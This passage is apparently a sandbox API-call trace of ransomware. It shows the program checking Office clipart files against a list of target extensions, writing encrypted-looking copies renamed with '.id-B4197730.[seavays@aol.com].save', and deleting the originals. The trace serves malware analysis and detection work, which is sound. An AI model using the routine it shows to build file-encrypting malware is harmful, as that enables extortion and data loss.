-1 [0062.475] lstrlenW (lpString=".pdf") returned 4 [0062.475] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.475] lstrlenW (lpString=".xls") returned 4 [0062.475] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.475] lstrlenW (lpString=".xlsx") returned 5 [0062.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.475] lstrlenW (lpString=".ppt") returned 4 [0062.475] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.475] lstrlenW (lpString=".zip") returned 4 [0062.475] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.475] lstrlenW (lpString=".rar") returned 4 [0062.475] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.475] lstrlenW (lpString=".bz2") returned 4 [0062.475] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.475] lstrlenW (lpString=".7z") returned 3 [0062.475] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.475] lstrlenW (lpString=".dbf") returned 4 [0062.475] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.476] lstrlenW (lpString=".1cd") returned 4 [0062.476] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.476] lstrlenW (lpString=".jpg") returned 4 [0062.476] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.476] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0062.476] lstrlenW (lpString="AG00174_.GIF") returned 12 [0062.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.478] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3966) returned 1 [0062.478] CloseHandle (hObject=0x2fc) returned 1 [0062.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0062.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.478] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.478] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0062.494] GetLastError () returned 0x0 [0062.494] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xf7e, lpOverlapped=0x0) returned 1 [0062.498] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xf80, lpOverlapped=0x0) returned 1 [0062.499] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.499] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.499] SetEndOfFile (hFile=0x2e8) returned 1 [0062.500] CloseHandle (hObject=0x2e8) returned 1 [0062.501] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.501] SetEndOfFile (hFile=0x2fc) returned 1 [0062.502] CloseHandle (hObject=0x2fc) returned 1 [0062.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0062.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.502] lstrlenW (lpString=".doc") returned 4 [0062.502] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.502] lstrlenW (lpString=".docx") returned 5 [0062.502] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.502] lstrlenW (lpString=".pdf") returned 4 [0062.502] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.502] lstrlenW (lpString=".xls") returned 4 [0062.502] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.502] lstrlenW (lpString=".xlsx") returned 5 [0062.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.502] lstrlenW (lpString=".ppt") returned 4 [0062.502] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.503] lstrlenW (lpString=".zip") returned 4 [0062.503] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.503] lstrlenW (lpString=".rar") returned 4 [0062.503] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.503] lstrlenW (lpString=".bz2") returned 4 [0062.503] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.503] lstrlenW (lpString=".7z") returned 3 [0062.503] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.503] lstrlenW (lpString=".dbf") returned 4 [0062.503] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.503] lstrlenW (lpString=".1cd") returned 4 [0062.503] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.503] lstrlenW (lpString=".jpg") returned 4 [0062.503] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.503] lstrlenW (lpString=".doc") returned 4 [0062.503] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.503] lstrlenW (lpString=".docx") returned 5 [0062.503] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.503] lstrlenW (lpString=".pdf") returned 4 [0062.503] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.503] lstrlenW (lpString=".xls") returned 4 [0062.503] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.503] lstrlenW (lpString=".xlsx") returned 5 [0062.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.503] lstrlenW (lpString=".ppt") returned 4 [0062.503] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.504] lstrlenW (lpString=".zip") returned 4 [0062.504] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.504] lstrlenW (lpString=".rar") returned 4 [0062.504] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.504] lstrlenW (lpString=".bz2") returned 4 [0062.504] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.504] lstrlenW (lpString=".7z") returned 3 [0062.504] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.504] lstrlenW (lpString=".dbf") returned 4 [0062.504] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.504] lstrlenW (lpString=".1cd") returned 4 [0062.504] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0062.504] lstrlenW (lpString=".jpg") returned 4 [0062.504] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.504] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0062.504] lstrlenW (lpString="AG00175_.GIF") returned 12 [0062.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.517] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3378) returned 1 [0062.517] CloseHandle (hObject=0x2fc) returned 1 [0062.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0062.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.517] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.517] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0062.518] GetLastError () returned 0x0 [0062.518] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xd32, lpOverlapped=0x0) returned 1 [0062.529] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xd40, lpOverlapped=0x0) returned 1 [0062.531] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.531] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.531] SetEndOfFile (hFile=0x2e8) returned 1 [0062.531] CloseHandle (hObject=0x2e8) returned 1 [0062.532] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.532] SetEndOfFile (hFile=0x2fc) returned 1 [0062.533] CloseHandle (hObject=0x2fc) returned 1 [0062.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0062.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.533] lstrlenW (lpString=".doc") returned 4 [0062.533] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.533] lstrlenW (lpString=".docx") returned 5 [0062.533] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.533] lstrlenW (lpString=".pdf") returned 4 [0062.533] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.533] lstrlenW (lpString=".xls") returned 4 [0062.533] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.533] lstrlenW (lpString=".xlsx") returned 5 [0062.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.533] lstrlenW (lpString=".ppt") returned 4 [0062.534] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.534] lstrlenW (lpString=".zip") returned 4 [0062.534] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.534] lstrlenW (lpString=".rar") returned 4 [0062.534] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.534] lstrlenW (lpString=".bz2") returned 4 [0062.534] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.534] lstrlenW (lpString=".7z") returned 3 [0062.534] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.534] lstrlenW (lpString=".dbf") returned 4 [0062.534] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.534] lstrlenW (lpString=".1cd") returned 4 [0062.534] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.534] lstrlenW (lpString=".jpg") returned 4 [0062.534] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.534] lstrlenW (lpString=".doc") returned 4 [0062.534] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.534] lstrlenW (lpString=".docx") returned 5 [0062.534] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.534] lstrlenW (lpString=".pdf") returned 4 [0062.534] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.534] lstrlenW (lpString=".xls") returned 4 [0062.534] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.534] lstrlenW (lpString=".xlsx") returned 5 [0062.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.534] lstrlenW (lpString=".ppt") returned 4 [0062.535] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.535] lstrlenW (lpString=".zip") returned 4 [0062.535] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.535] lstrlenW (lpString=".rar") returned 4 [0062.535] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.535] lstrlenW (lpString=".bz2") returned 4 [0062.535] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.535] lstrlenW (lpString=".7z") returned 3 [0062.535] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.535] lstrlenW (lpString=".dbf") returned 4 [0062.535] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.535] lstrlenW (lpString=".1cd") returned 4 [0062.535] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0062.535] lstrlenW (lpString=".jpg") returned 4 [0062.535] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.535] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0062.535] lstrlenW (lpString="AG00176_.GIF") returned 12 [0062.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.536] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3120) returned 1 [0062.536] CloseHandle (hObject=0x2fc) returned 1 [0062.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0062.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.536] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.537] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0062.537] GetLastError () returned 0x0 [0062.537] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xc30, lpOverlapped=0x0) returned 1 [0062.578] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xc40, lpOverlapped=0x0) returned 1 [0062.579] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.579] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.580] SetEndOfFile (hFile=0x2e8) returned 1 [0062.580] CloseHandle (hObject=0x2e8) returned 1 [0062.581] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.581] SetEndOfFile (hFile=0x2fc) returned 1 [0062.581] CloseHandle (hObject=0x2fc) returned 1 [0062.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0062.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.582] lstrlenW (lpString=".doc") returned 4 [0062.582] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.582] lstrlenW (lpString=".docx") returned 5 [0062.582] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.582] lstrlenW (lpString=".pdf") returned 4 [0062.582] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.582] lstrlenW (lpString=".xls") returned 4 [0062.582] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.582] lstrlenW (lpString=".xlsx") returned 5 [0062.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.583] lstrlenW (lpString=".ppt") returned 4 [0062.583] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.583] lstrlenW (lpString=".zip") returned 4 [0062.583] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.583] lstrlenW (lpString=".rar") returned 4 [0062.583] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.583] lstrlenW (lpString=".bz2") returned 4 [0062.583] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.583] lstrlenW (lpString=".7z") returned 3 [0062.583] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.583] lstrlenW (lpString=".dbf") returned 4 [0062.583] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.583] lstrlenW (lpString=".1cd") returned 4 [0062.583] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.583] lstrlenW (lpString=".jpg") returned 4 [0062.583] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.583] lstrlenW (lpString=".doc") returned 4 [0062.583] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.583] lstrlenW (lpString=".docx") returned 5 [0062.583] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.583] lstrlenW (lpString=".pdf") returned 4 [0062.583] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.583] lstrlenW (lpString=".xls") returned 4 [0062.583] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.583] lstrlenW (lpString=".xlsx") returned 5 [0062.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.584] lstrlenW (lpString=".ppt") returned 4 [0062.584] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.584] lstrlenW (lpString="C:\\Program Files\\Microsoft 